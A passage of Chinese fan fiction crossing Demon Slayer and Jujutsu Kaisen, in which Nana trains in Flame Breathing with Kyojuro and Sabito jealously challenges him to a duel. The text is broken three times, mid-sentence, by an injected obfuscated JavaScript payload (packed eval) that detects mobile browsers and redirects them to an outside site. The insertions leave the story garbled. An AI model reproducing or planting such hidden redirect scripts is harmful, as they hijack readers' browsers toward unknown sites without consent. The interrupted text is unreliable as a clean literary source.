原本对那古怪能力的犹疑与惊骇，就这样一次次被少女执拗的付出压下，取而代之的是无以复加的心疼。 明明是那么小一个孩子，跟她的杏寿郎也没有差几岁，但是血液却不要钱地从那具年轻的身体里流出，简直就像是在献祭自己的生命。 炼狱瑠火的目光漫上疼惜，在日野奈奈的身上不着痕迹地滑过。 少女各种细小的伤口已然消失，五官渗血的可怖样子也已经被拾掇干净。 是一个坚强而强大的孩子。 炼狱瑠火想。 日野奈奈见瑠火夫人朝她鞠躬，吓了一跳，朝侧边避了避，同样朝炼狱瑠火弯腰。 她急忙说道：“您不必如此，举手之劳罢了！” 完全不适应这种礼节好吗，不要搞得这么郑重的样子啊。 这都是她应该做的事情而已。 日野奈奈想。 炼狱瑠火摇了摇头，微笑：“事实如此，是我欠你一条命。” 她温柔地说：“这段时间请在炼狱府好好修养吧，虽然这片区域毁坏了，但炼狱府的其他地方还完好。” 说到这里，炼狱瑠火顿了顿，深深看了奈奈一眼：“这一点也是你的功劳呢。” 日野奈奈的视线飘忽了一下。 但好在炼狱瑠火暂时没有多问的意思，安排人带日野奈奈往歇息的地方走。 锖兔与她一道。 临走前，日野奈奈回头看了一眼，炼狱瑠火含笑冲她招手。 发丝有些凌乱，但面颊却红润饱满，红色的瞳孔神采奕奕。 高大的炎柱半拥着自己的妻子，那对初见时疲倦郁郁的金红色眼睛很亮，前所未有的亮。 他朝日野奈奈递来歉意与感激的目光。 远处天际，月亮仍静默地挂着，在行走的路间洒下微凉光芒，又被鬼杀队成员手中的火把照热。 那只莫名仇恨炼狱家的下弦之肆的痕迹在人类的干涉下迅速消除，到底和炼狱家有怎么样的怨恨，又具体恨着哪一个人，终究是不得而知了。 在鬼消逝之后，所有往事尽埋入云烟。 身边锖兔的呼吸平稳地吐息着，手臂有力地扶着她，原本破碎的衣物被隐送来的羽织覆盖，发出令人安心的窸窣摩擦声。 日野奈奈收回目光，在锖兔关注的眼神中笑了起来。 她想，太好了，今天也是安然的一天呢。 23.呼吸法 月夜消遁，日昼再起。 经过几个小时的整顿和梳理，炼狱府的情况已经大致清点完毕，剩下的便彻底交给后勤。 短暂的睡眠后，日野奈奈被迷迷糊糊地叫醒，前往了炼狱家在东京的另一栋府邸。 在炼狱一家人的友善挽留下，日野奈奈和锖兔就这么在东京暂停休养下来。 三日后。 “嘎——之前交代的任务鬼在昨天已经被炎柱大人解决了！” 鎹鸦停在日野奈奈的肩头，欢悦地扑腾翅膀。 少女身着浅黄色和服，双手放松地撑在背后，懒洋洋地晒太阳。 “太好了，这下是真的没有后顾之忧啦。”日野奈奈笑了起来。 得知日野奈奈和锖兔来到东京是为了任务后，在炼狱瑠火的瞪视和斥责中，炼狱槙寿郎讪讪地把自己辖区内全部清扫了一遍。 东京一带在炎柱的精神焕发下安定了下来。 下弦鬼被斩杀，瑠火夫人身体安康，其余小鬼也都清理干净，一时之间岁月静好。 她随手碾了一点小米洒在地上，鎹鸦见状闭嘴跳下奈奈的肩膀啄食。 见它埋头苦吃的样子，再想起平常它神出鬼没的身影，日野奈奈无奈：“要是你干其他事时也能像吃饭这么积极就好了。” 名为早羽的鎹鸦边吃边发出了骄傲的嘎嘎声。 身后的门传来笑声：“早羽今天也很有精神呢！” 日野奈奈回过头，是端着吃食的炼狱杏寿郎。 笑容热情的少年挽着筒袖，红褐色的袴在走动间折皱开合。他在日野奈奈身旁跪坐下来。 日野奈奈：“杏寿郎啊，午好哦。不过可别太宠着她啊，你看她都要胖一圈了。” 少女有些嫌弃地拿手指弹了弹鎹鸦的头，鎹鸦忍辱负重地把小米全部啄完，迅速朝室外逃窜飞走了。 日野奈奈噗呲一声笑了出来。 杏寿郎将餐盘放置在少女面前：“午好！日野小姐明明也很喜欢早羽。” 日野奈奈不置可否，她侧头：“不是说叫我奈奈就行了嘛，杏寿郎还在用我们刚认识时候的称呼呢。” 炼狱杏寿郎眨了眨眼睛：“唔姆，真是不好意思，奈奈！实际上是总会想起奈奈几天前救下我母亲的场景，于是尊敬感谢的感觉就情不自禁地溢出来了。” 阳光透过缘侧照在榻榻米上，几缕光线穿梭在炼狱杏寿郎的眼睫上，那双金红色的眼瞳像是在发光。 他专注地注视着少女，日野奈奈捻了捻头发，小声：“都过去了就不用反复提了，你真的和你母亲好像哦。” 这三天瑠火夫人对她颇为照顾，饶是日野奈奈确实将她从重病濒死的状态中逆转，但那种无微不至的体贴还是让她浑身刺挠。 见炼狱杏寿郎还想说什么，日野奈奈啊了一声，左顾右盼：“说起来，锖兔呢？昨天吃完午饭后就再没见到他了诶。” 炼狱杏寿郎好脾气地笑了笑，顺着她转移了话题：“鳞泷先生似乎在生气，今天一大早就冷着脸独自出门了。” “……居然还在生气吗！”日野奈奈有些不可思议，她小声嘟囔，“不就是不打算学水之呼吸……” 她的声音越来越小，回忆浮现脑海。 与下弦鬼战斗过后，虽然锖兔的身体状态在术式加持下半处巅峰，但日野奈奈本人的精力却是完全耗空，在炼狱府躺了两天才慢慢缓过来。 等身体不再有疲累负担的感觉后，日野奈奈和锖兔兴致冲冲地聊起之前提了一嘴的问题。 彼时锖兔来找她一起吃饭。 “……状态很不错，终于可以自由活动了，”日野奈奈扒拉着碗里的饭，“这么说来，之前说的学习呼吸法可以提上日程了！” 锖兔捧着碗筷，无奈地看着她狼吞虎咽：“吃慢点啊……嗯，我已经联系好鳞泷师父了。” 日野奈奈接过锖兔递给她的汤，困惑道：“和左近次先生有什么关系？” 啊，这汤好鲜！她满足地眯起眼睛。 锖兔夹菜的动作顿了一下：“不是说要学习呼吸法吗？” “对啊。”日野奈奈点头。 银瞳侧过来凝视她：“学习水之呼吸的话，作为前任水柱的鳞泷师父会是你最好的选择。” 日野奈奈摩挲着下巴，歪头看向天花板：“是哦……但我不打算学习水之呼吸啊。” 锖兔：“……什么？” 日野奈奈：“我要学习炎之呼吸哦，跟瑠火夫人拜托了一下，炎柱前辈就很爽快地答应下来了呢，只要有时间的话会来和我沟通的！” 锖兔呼吸一滞：“怎么会突然想学炎之呼吸？” 不知道是不是她的错觉，锖兔的声音似乎有一点涩：“是因为……不够强吗？” 时值冬日正午，白色的太阳慵懒地挂在天边，温暖光线被寒气过滤后，只剩下单纯的暖色，身旁少年的脸模糊在阳光中，看不清神情。 日野奈奈没听清他的后半句，只以为锖兔在单纯疑惑，便很大方地将自己的看法分享：“因为我们都看到了啊，炎柱大人使用炎之呼吸的时候很耀眼、很强大，对吧？” “虽然打起来的样子有点吓人……但炎之呼吸燃烧起来的时候简直跟太阳一样呢，特别是砍下鬼的头颅的时候，那种火焰多么美丽啊！迸发开的火星简直像撒开的日光一样！这么一想的话，炎之呼吸不就是在鬼占优势的黑夜里擎起新一轮太阳吗？” 日野奈奈笑了起来：“我喜欢太阳，喜欢那种强大又暖洋洋的感觉！” 清亮而脆生生的嗓音在室内回荡，日野奈奈久久没听见锖兔的回话，转头看他。 ——那我呢？ 好像有一抹很微小的声音转瞬即逝，日野奈奈耳朵动了动，视线转到锖兔的嘴唇上。 脸侧的伤疤和唇侧紧挨着，沾着水的唇瓣抿得很紧。 眼前的少年分明没有张口说话，倒像是因为某种东西怔住，捏着筷子的手指绷得很紧。 日野奈奈疑心是自己的幻觉：“锖兔？” “嗯。”锖兔慢半拍地应下来，眼睫垂了下来，原本闲适的盘坐姿态消失了。 他三下五除二地吃完饭，起身。 “我去练习。” 日野奈奈睁大眼睛：“现在？现在刚吃完饭啊。” 锖兔拉开门，转头看了日野奈奈一眼：“现在。” 砰。门被关上。 留在室内的日野奈奈迷茫地眨了眨眼睛。 “生、生气了吗？” 日野奈奈莫名熟练地开始反思。 她又做错什么了？ 时间回到现在。 从回忆里挣脱的少女长长叹了口气：“所以我还是没明白到底在气什么啊，只是因为我没说自己要学水呼吗？其实要学也不是不行啊，大不了都试试嘛。” “你说对吧，杏寿郎？” 被点名的炼狱杏寿郎从怔愣中回过神来，那双金红色眼睛逐渐发亮，像是被点燃了两簇烛火。 他的眼神目不转睛地定在少女脸上，答非所问：“……原来奈奈是这么看待炎之呼吸的吗？” 日野奈奈：“对啊……有什么问题吗？” 她的视线触及到少年火焰般的发丝，忽然想起了某件事，声音逐渐心虚。 呜哇，完蛋！ 杏寿郎肯定也是练习炎之呼吸的，不会以为她在拍炎柱的马屁吧？ 天地良心，她说的话可是真心！ “咳，炎之呼吸确实厉害嘛。”她找补似的平淡道，眼神忽闪着躲开炼狱杏寿郎炯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192688|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炯有神的视线。 这孩子的眼神怎么回事，好炽热好逼人！ 炼狱杏寿郎见少女飘忽眼神的样子，爽朗地笑起来：“当然没问题，倒不如说，因为奈奈这样的说法，内心里突然充满了澎湃的欣喜和自豪！感谢你对炎之呼吸的认可！” 多年来，因为母亲身体的原因，父亲渐渐不再教导他剑技与武艺，只有在母亲情况尚且安好时，父亲才会勉强地陪他对练一会儿，但那样的对练也充满了焦虑和苦闷。 挥砍间的火焰充斥着燥乱、暴烈与闷塞，如同被某种框架框住，无法自由奔放地向敌人而去。 长时间下来，炼狱杏寿郎也开始记不清看见父亲第一次笑着教他挥刀的样子。 明明父亲作为炎柱的实力一如既往地被他人肯定，但炼狱杏寿郎却知道有东西是不一样的。 那种强大而单纯的烈焰姿态仿佛是他童年的幻觉。 于是有时候在训练时也会困惑。 炎之呼吸原来是这样的存在吗？火焰注定是暴烈而汹涌、如同地狱般狂乱无章的样子吗？ 哪怕他再坚定地肯定自己最初对那抹纯粹火焰的记忆，哪怕不断向那种样子的炎之呼吸奔跑着。 但心底总有一种独行的孤独感不可控制地涌来。 可现在有人很确定地跟他说。 炎之呼吸是太阳哦，是暖呼呼的，让人感到温暖的存在，是让她无比喜爱的存在。 炎之呼吸的本质是强大的、是为了守护而存在的，有人和他一样真真切切地看到了。 有人想要和他一同追逐太阳了。 “我一定会将奈奈想要学习的东西好好传达给你的！”炼狱杏寿郎这么说道，意气风发地大笑起来。 日野奈奈听到这话，睁大了眼睛：“诶？” “诶诶，这是什么意思？什么叫杏寿郎要传达什么？” 炼狱杏寿郎坐得很端正：“其实今天来找奈奈不只是为了午饭一事，也是因为家母交代了我先带奈奈看看炎之呼吸的基本功。” “本来说好这两天让家父抽空来训练的，但是父亲大人临时被叫去向主公大人述职了，不知道要去多久，所以只好暂时由我接手。” 主公？ 再次听到这个人，日野奈奈神游了一下。 是那个关注她的高层之人啊。 见日野奈奈愣神，炼狱杏寿郎以为她不放心自己的教导，解释道：“训练的话请不用担心，我只是带奈奈熟悉基础招式。” 他坦然道：“我已经握刀七年了，对此还算有经验。” 嗯嗯，握刀七年…… 等等，几年？！ 日野奈奈一下子从“主公”相关的思考中挣脱出来，震惊地看着眼前年纪看上去只有十二三岁的少年。 金红色的猫头鹰睁着大眼睛，歪了歪头。 “你，你几岁开始练炎呼的？”日野奈奈问。 炼狱杏寿郎计算了一下：“五岁。” 日野奈奈脑海里开始回放自己五岁时在干什么…… 她猛地拍了自己的脸一下，哦，她没有五岁的记忆来着。 那就十二三岁时—— 十二三岁时，她还在夏油杰手下躲着懒呢！ 日野奈奈真心实意地看着眼前身段挺拔的少年：“你好厉害。” 炼狱杏寿郎：“身为炼狱家之人，这是我应该做到的！” “那么等到下午，我就来带奈奈一起训练。” 日野奈奈不好意思道：“麻烦你了。” 炼狱杏寿郎笑了起来，眼睛闪闪发光：“不会的，这怎么算麻烦呢。” 有了一起同行之人，何路再惧孤单，谈何麻烦。 他的目光深深落在日野奈奈身上，唇角很轻地勾了一下。 24.练刀 午后的阳光偏转，通过墙边松叶的间隙细密地在白沙上辉闪。 训练场正中，日野奈奈手拿竹刀，在炼狱杏寿郎的身边跟随动作。 炼狱杏寿郎所言非虚，从他乍一起势开始，日野奈奈便看出他深厚的武学底子。 稳当的下盘、老练的挥砍姿势以及恰到好处的精准力度。 完全想象不到这是一个年纪轻轻的孩子。 日野奈奈姑且把这个世界称为“鬼世”，在她来到鬼世之前，已经在高专里修习咒术和体术一年。 她得以在这一年间迅速提升实力，很大程度上依赖咒力对身体的强化。 单论白板的身体素质，日野奈奈并比不上从小训练的炼狱杏寿郎。 ……但她会尽快赶上进度的，暂时见笑了！ 奈奈挥着刀在心里碎碎念。 本来她是这么认为的，直到在第二十次挥刀时，炼狱杏寿郎叫住了她。 少年看向她的眼神惊讶无比。 “……你已经摸到门槛了。” 什么？ 日野奈奈顺着炼狱杏寿郎的视线挪到自己的刀上，竹刀上的纹理在日光下蜿蜒，微微发烫。 炼狱杏寿郎收起了笑，眼瞳中流露出严肃：“请再完整地跟我做一次刀式。” 话音落地，他右脚划开，重心下沉，蓄力向前斩开一道圆弧刀光。 斩击干脆利落，劈舞间隐约的炙热之势一闪而过，让日野奈奈想起了初见炼狱槙寿郎时的那记“不知火”。 招式变了。 日野奈奈迅速察觉到。 不是刚刚的一系列基础训练，而是与炎之呼吸其本身真正挂钩的呼吸法之斩。 一斩过去，刀势再起，金红色的少年重重跺脚，手臂猛然上挥，竹刀之尖反射出的光芒刺入奈奈的神经。 某种于刀剑挥斩间自然流淌而出的势被日野奈奈的眼睛捕捉，在视野里，刀尖、刀身、刀柄共同筑成一股气，那气绵绵不绝地升腾旋转着，在眼中卷席成显眼炽热的浮世绘。 在那股色泽鲜亮的气中，她情不自禁地握紧手中之刀，皮革柄皮下，坚硬刀身顺她之手。 “炎之呼吸·二之型·炎天升腾！” 少女无比顺畅地跟着炼狱杏寿郎做出了炎之呼吸第二式。 “……” 日野奈奈怔怔地放下刀，随后猛地看向自己的手。 真的假的？ 难道她就是天才？！ 赞叹的鼓掌声从旁边传来，是收刀的炼狱杏寿郎。 “难以置信！仅半个时辰你就能以炎呼之势挥刀了，这种天赋我闻所未闻。” 炼狱杏寿郎叹服的眼神落在奈奈身上：“那股难以解释的疗伤之力也是，还有什么是你无法做到的呢？” 日野奈奈自己也无法相信，她看着自己手中的刀。 日光下与她遥相辉映的那股势在竹刀刀身中沉默着。 突如其来的势钻入她的眼，汇入她的手，由此世透刀而来又向外呼啸而去，像是某种未言的宣告，有一种熟悉之感。 日野奈奈忽然若有所悟。 她经历过的，这种感觉。 在咒术界她经历过的。 日野奈奈喃喃：“这不对。” 握刀之手骤然一紧，她看向前方，重新起势。 “炎之呼吸·二之型·炎天升腾！” 又一斩。 “炎之呼吸·二之型·炎天升腾！” “……” 少女不由分说地原地挥刀，炼狱杏寿郎最开始只是在一边看着，只当日野奈奈心痒难耐想重复几次。 但慢慢，他也发现了不对劲。 黑发少女的挥击无比规范，一刀一刀都以几近苛刻的力度停在不变的位置。 并非常年训练后展现出的精准，而是每一刀都如复制一般的流水线式的死板，像是挥刀的人是一个被制造出的木偶。 看到了，学习了，如法炮制地展示出来，但没有自己的灵。 在意识到这点后，炼狱杏寿郎心里一惊，下意识上前阻拦：“停下，奈奈！” 出乎意料，本以为那种像是魔怔的状态很难阻止，但在感受到他的劝阻后，少女如提线木偶般的动作顺从地停顿下来。 “你还好吗？”炼狱杏寿郎关切地看着她。 日野奈奈的手垂在身体两侧：“放心，我很好。”她深呼吸了一下，把那种熟悉的上瘾感甩至脑后。 炼狱杏寿郎见她神智清醒，松了口气，旋即拧眉：“刚刚是怎么回事？” “算是老生常谈的问题吧。”日野奈奈心里有了数，她活动了一下手腕，冲少年笑了笑，“没关系的，我们继续基础训练就好。” 更多想传递的关心被挡入咽喉，炼狱杏寿郎有些不放心：“如果身体不适的话还是继续休养比较好，我一直在府里，训练并不急于一时。” “我真的没有事啦，躺了两天身上都要长蘑菇了。”日野奈奈摊了摊手，笑着说。 心里却想，居然是当初她领悟术式反转时的感觉啊。 很自然地觉悟，很自然地变强，然后带来了难以挽回的灾厄。 那股催化她术式反转的力量，呵。 日野奈奈笑容微冷，重新握起了刀。 可惜不论那种宛如天赐的顿悟之势如何异常，现在的她已经不会再重蹈覆辙了。这种掺着异物的糖果对现在的她而言，既是陷阱，也是机会。 “请继续！” * 练至夕阳西下，额间和衣裳都被汗水浸湿，日野奈奈以惊人的速度掌握了炎之呼吸的大半招式。 以一种非常诡异的姿态。 炼狱杏寿郎很担心，但少女只是笑着回答他没问题的。 “难道杏寿郎后悔把刀法教给我了？”奈奈俏皮地问。 炼狱杏寿郎无奈了眉眼：“当然不会。” 两把竹刀斜倚着柱子，交错着放在一侧。少年少女挽着袖子并排坐在一起，身旁是端来补充体力的点心。 “唔姆，虽然这么说有妄自菲薄的嫌疑，但果然还是让父亲大人来看看奈奈比较好！”炼狱杏寿郎说，“在下还是经验太浅，看不出这到底是天赋还是另外的情况。” 日野奈奈眯起眼睛：“都说了不用担心啦，我大概知道要怎么处理。而且比起和炎柱大人一起训练，我更想要和杏寿郎相处哦。” 炼狱杏寿郎倒水的动作顿了顿，随后面色如常地给奈奈递来茶盏，金红色眼瞳笑眯眯的：“不会是为了逃避更严苛的训练吧，不允许哦！哪怕是我，后面也会慢慢将强度提升上来的！” 日野奈奈：“当然不是因为这个。” 那是因为什么？炼狱杏寿郎满脸写着这样的询问。 日野奈奈：“啊，呃。” 她瞄了一眼炼狱杏寿郎，在少年歪头的注视中飘忽开眼神：“一定要说吗？” 炼狱杏寿郎坦荡荡：“我希望听到理由！” 日野奈奈挠了挠脸：“好吧。其实说出来也很不好意思……” 少女的金瞳在暖色的夕阳下如同蜜糖，柔软又带着一丝小心翼翼的视线朝炼狱杏寿郎流淌而来。 在那种藏着怯弱的目光下，炼狱杏寿郎的心跳慢了一拍。 随后他看着少女闭上眼睛一脸决心地大声说。 “因为我真的很不尊敬炎柱前辈啊！” 炼狱杏寿郎：“……” 炼狱杏寿郎：“唔姆？” 金红色猫头鹰呆在原地。 “不、不尊敬父亲大人吗，真是直言呐！”杏寿郎磕巴了一下。 “非常对不起，并不是有意冒犯的意思。”日野奈奈光速滑跪。 她迅速地道完歉，急急忙忙地找补：“我也承认炎柱前辈真的非常非常厉害啦，但是因为炎柱大人的某些行为确实不太符合我的价值观啦，哈哈哈……” 少女尴尬地笑了两声。 奇妙的是，在她语焉不详的补充中，炼狱杏寿郎竟然明白了那个不符合的点。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204585|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 炼狱杏寿郎眨了眨眼睛：“是因为父亲这段时间的渎职吗？” 诶？就这么说出来了吗？ 日野奈奈头顶冒出问号。 但在炼狱杏寿郎并无生气的包容目光中，她还是迟疑着点了点头，轻声说：“是的……炎柱大人过于放纵个人感情而让猎鬼的工作被搁置了。” 夜探炼狱府时隐们的谈论再次浮现奈奈的脑海。 犹豫了一下，她还是直白道：“抱歉，但我是觉得这样做很不尊重那些可能被残杀的生命。” 虽然自己的妻子病重那个样子，无法专注自己的工作情有可原。 但是在其位，谋其职，从她个人情感的角度出发，非常、非常不认可这样的行为，尤其是炼狱槙寿郎是炎柱这种等级的存在。 邂逅强者的惊艳已然逝去，那丝初来乍到时就对鬼杀队组织产生的不信任感，在面见炎柱的状态后再一次浮现。 甚至有点怀疑，其他所谓的柱级成员不会也是不负责任的人吧？ 那样可糟透了，明明锖兔他们都是多么品性优良的存在。 如果柱级都是这样的话，不如让锖兔和义勇他们去当柱好了！ 日野奈奈有些生气地想。 明明这样对他父亲发表了不逊言论，但炼狱杏寿郎并没有生气。 炼狱杏寿郎唇角的弧度依旧，只是没再看向日野奈奈。挽起袖子的手臂上水渍已然干涸，留下肌理分明的线条，是少年一天天成长的痕迹。 他平静地说：“可以理解，毕竟奈奈对生命有着无比珍视的态度。” 是从相遇开始便可以一直感受到的，只要和奈奈一起相处一段时间就可以感受到的，对生命的重视和为其不顾付出一切的偏执。 “我也无意为父亲大人挽尊，毕竟事情都已经发生。” “实话说，我也并不认可父亲大人的行为，所以——” 炼狱杏寿郎猛然站起来，掀起的一阵风让日野奈奈遮了遮脸。 将手放下的一瞬，晚霞混着光线撒入庭院，少女看见金红色少年朝天叉腰，笑容精神饱满，带着一股绝不气馁放弃的决心。 “我会更加努力地练刀的！” “每天都不会停下，不论是吃饭、睡觉、训练，都不会停下！要用一种更加稳健而坚定的步伐向前踏步！” 炼狱杏寿郎的拳头轻轻靠在胸膛上。 “如母亲所说，生来便拥有才能的人不能肆意妄为地践踏他人、忽视他人，生为强者，便应当担起责任，燃烧心灵。” 晚霞下，少年火焰般的发丝随风飘逸，映照在日野奈奈的眼睛里。 少女睁大了眼睛，名为炼狱杏寿郎的少年将肃穆如同誓言的注视向她投来。 “直到能比肩父亲大人的那一天，将由我接过属于父亲的职责！” 炼狱杏寿郎的视线敏锐地穿透日野奈奈心中的情绪。 他露出了奈奈熟悉的笑容，金红色的眼睫颤了颤，弯出一个温和的弧度。 “那样的话，你也能重拾对‘炎柱’一职的信心了吧。” 少年身着普通的筒袖和袴，但日野奈奈却仿佛真的看到那身象征炎柱身份的火焰羽织于他的身后猎猎作响，灿烂的红色几乎能灼痛她的眼睛。 日野奈奈迟缓地眨了眨眼睛，侧过了头，夕阳的余晖自她侧脸滑过，昏黄的光线在走廊缘侧投下清晰的剪影。 “这光线也太闪亮了吧。”奈奈嘟囔着。 脸上不由自主地微笑起来。 “杏寿郎一定可以做到的！”她用一种缓慢却高兴极了的语调说道。 两人对视良久，一齐笑了起来。 庭院内，年岁相近的少年少女彼此相视而笑，关系拉近的亲昵在渐落的夕阳中晕染开来，像是落在一卷模糊的画纸上。 刺眼地落入来者眼里。 被刻意放小的推门声没有惊动庭院内的人，黄绿色的龟纹羽织被屋内的阴影笼罩。 锖兔看着欣然而笑的少女，垂下了眼睫。 25.切磋 冥冥之中，日野奈奈若有所感，朝后看了一眼。 她惊讶道：“锖兔？你怎么在这里？” 覆在门边的人影站直身体，朝少女投来一瞥。 日野奈奈高高兴兴地站起来，跑来与锖兔并肩，她语气活泼：“你这两天去哪里了呀，我在府里都没见到你！” “之前一直都是跟锖兔待一起的，突然断开了接触，感觉哪哪都好奇怪，有一种很空的感觉。真是的，没事别乱跑嘛。” 日野奈奈在锖兔耳边叽叽喳喳。 心里还记着锖兔昨天生气的事情，日野奈奈一边叨叨一边观察锖兔的表情。 看似小心翼翼实则无比胆大地试探态度。 “其实我昨天晚上咒力就恢复了哦，本来想和你一起去之前咒灵鬼消失的地方看看的，但你的房间一晚上都没有人在，锖兔好像一直都在外面，好可恶哦。” 日野奈奈装模作样地抱臂看天，见锖兔没有发火的意思，开始得寸进尺。 “就这样把我留在这里，真过分，我一个人会无聊的——” 一声哼笑打断了她的念叨。 少年终于正脸看她：“只有一个人吗？” 锖兔披着那身奈奈眼熟的龟纹羽织，身着白色和服，下摆系着深蓝的袴，肉粉发被规整地束成一缕辫子垂在脑后。 是与乡野奔袭时截然不同的打扮，整个人英气蓬勃。 而、而且怎么还有一股内含杀气的感觉。 日野奈奈下意识退后一步，把剩下的埋怨吞到了肚子里。 锖兔见状眯起眼睛，向她轻轻走近两步，唇角出现了日野奈奈熟悉的笑容：“奈奈怎么退后了，我身后有什么东西吗？” 日野奈奈打了个冷颤，脑后滴汗。 她止住自己向后倾的身体，镇定道：“没有哦。哪有什么东西啦，我没站稳而已。” 确认了，是生气兔！还是笑容发黑的隐藏版！ 原来还在生气啊！ “哦，是这样啊。果然这地方不太好，只会让人不适。”锖兔淡淡说道。 他看向训练场内，眼神逐渐变冷：“真是要让人大干一场了，不是吗？” 日野奈奈的表情从慌张转向纳闷。 这是……在朝训练场撒气？为什么？ 不管了，既然终于碰到了，她就顺势跟锖兔聊聊自己对呼吸法的新想法好了，中午也刚和杏寿郎聊过。 锖兔生气的应该就是这个来着。 少女扯扯自己的衣角：“咳，那个，锖兔，关于我们昨天聊的呼吸法的事……” 日野奈奈组织措辞，意图表明自己对水呼同样具有浓厚兴趣，水呼和炎呼都是她的翅膀。 她绝对都会学来看看的！ 但话没说出口，一根食指竖在了她的唇前，从体内呼出的温热气体尽数扑在了突如其来的阻挡前。 “奈奈不用多说，我懂的。”锖兔平静地说。 还没说呢，你懂了什么？日野奈奈的眼神懵然道。 锖兔说：“炎之呼吸大开大合刚烈耀眼，与擅长以柔克刚的水之呼吸截然不同，招式迥异。” “喜欢太阳的你更倾向炎之呼吸，仔细想想也是一件顺理成章的事情，毕竟奈奈是活力四射、元气满满的人。” “学习呼吸法的话，现阶段的炎柱确实也会是最好的选择，呼吸法符合奈奈的个性，实力很强大，又比狭雾山的鳞泷师父距离更近。” 锖兔轻声道：“各方面的更优呢，真让人不甘心啊。” 奈奈本来还在认真听着，但话语间，白衣蓝袴的少年平静地抽出了腰间自配的竹刀。 等等等等，怎么就拔刀了啊！ 日野奈奈一抖，眼神浮上惊恐意味。 “锖、锖兔，我们把刀先放下，而且你懂的东西和我想说的不一样……”她试图把少年的刀按回去。 手指和锖兔握在刀柄上的力道角逐，没按住。 锖兔轻飘飘看了她一眼，坚定地把刀拔了出来。 一向理性温和的笑容带上黑气，锖兔的眼神投向不远处。 “不甘心呢，不爽呢，真是想发泄出来啊。”他语调平静。 认可奈奈学习炎呼不代表他放任其他事情发生。 如果是炎柱大人亲自教授就算了，品行方面暂且不谈，至少实力无可挑剔，但这个还没参加过最终选拔的小鬼怎么敢那样一副信誓旦旦的样子，并且奈奈还就那样相信了他！ 还靠得那么近！ 锖兔额角爆出青筋。 开什么玩笑，别在这里耽误他家奈奈啊！ 不远处的炼狱杏寿郎不知道围观了多久，若有所思地看着锖兔和奈奈，见锖兔朝自己看来，露出一个状似友好的笑容。 那抹笑容让锖兔彻底冷淡了表情，他抬脚迈步向炼狱杏寿郎的方向走去。 “锖兔！”日野奈奈惊恐得语调都变了。 杀气腾腾地朝杏寿郎去了啊！ 他们有仇吗，不对，他们什么时候能结仇啊！锖兔不是一直都不在府里吗！ 而且锖兔好像一直都是自顾自地在说话的样子……这不就是沉浸在自己的世界里了吗！ 锖兔，不要失去理智啊—— 日野奈奈一把扑上去拽住锖兔的衣角，眼泪汪汪：“锖兔，冷静！鬼杀队队员不能彼此攻击的！” 锖兔拉开了日野奈奈，温和道：“我很冷静，他还不是鬼杀队队员。并且，只是想切磋而已，不会不敢吧？” 后半句是朝炼狱杏寿郎说的，充满了挑衅意味。 炼狱杏寿郎的笑容淡了下来，他与锖兔对视一会儿，站起身，同样拿起了放在一旁的竹刀。 “那么，烦请赐教了！”金红色少年收敛了笑容。 锖兔面无表情：“同样，请多指教。” 渐暗天色下，训练场不远处的其他炼狱宅屋已经亮起了灯火。微弱的亮光反射在两位少年的瞳内，他们同握竹刀，彼此以刀相向，眼神交锋。 在屋檐夜鸟啼鸣的一刹，两人的竹刀撞在了一起！ 地上的尘土在脚步移蹭中渐起烟幕，少年们的身影在其中模糊不清。水之潺流与炎之流星迸溅开来，空气中发出了尖锐刺耳的摩擦敲击声。 和竹刀挥砍声音同样尖锐的是奈奈的爆鸣。 真打起来了啊！开什么玩笑！ 日野奈奈站在屋内，透过大开的障子门目瞪口呆地看锖兔和杏寿郎交战在一起，大脑因为这急转直下的情节而转不过弯来。 发生了什么来着，她和杏寿郎友好地训练了一下午，嗯嗯，然后友好地和突然出现的锖兔会面，嗯嗯，然后，然后…… 他俩就打起来了。 日野奈奈：？ 这不对吧，大家前几天不还是并肩杀鬼的好伙伴吗？ 嗯，等等，锖兔说的是切磋，那应该就是切磋吧，杏寿郎也应下来了…… 她瞄了一眼庭院。 不对！这所谓切磋的火气也太大了吧！ 竹刀嗡鸣碰撞的声音不断从庭院内传来，日野奈奈在上边试图喊停，但下边两人打得正欢，锖兔还抽空让她先去吃饭，不用管他们。 锖兔：“这是男人和男人之间堂堂正正的角斗！” 杏寿郎：“唔姆！请放心，我们有分寸！” 日野奈奈：“我信你们个泡泡茶壶啊，快停下啊，放过篱笆吧它要塌了啊——” 几道刀气横过，训练场彻底乱七八糟。 日野奈奈：“……” 硬了，拳头硬了。 “砰！” 竹刀与竹刀再次相撞，杏寿郎招架住锖兔的进攻，在那双逼近的银瞳里看到了某种明确的被触怒了的意味。 杏寿郎很确认自己这几天并没有和对方产生任何冲突。 在晨练的路上和对方相遇，鳞泷锖兔还会和他点头。 那么问题的契机出在哪里呢？ 在一旁的少女再次催促他们停下，唤到“杏寿郎”时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 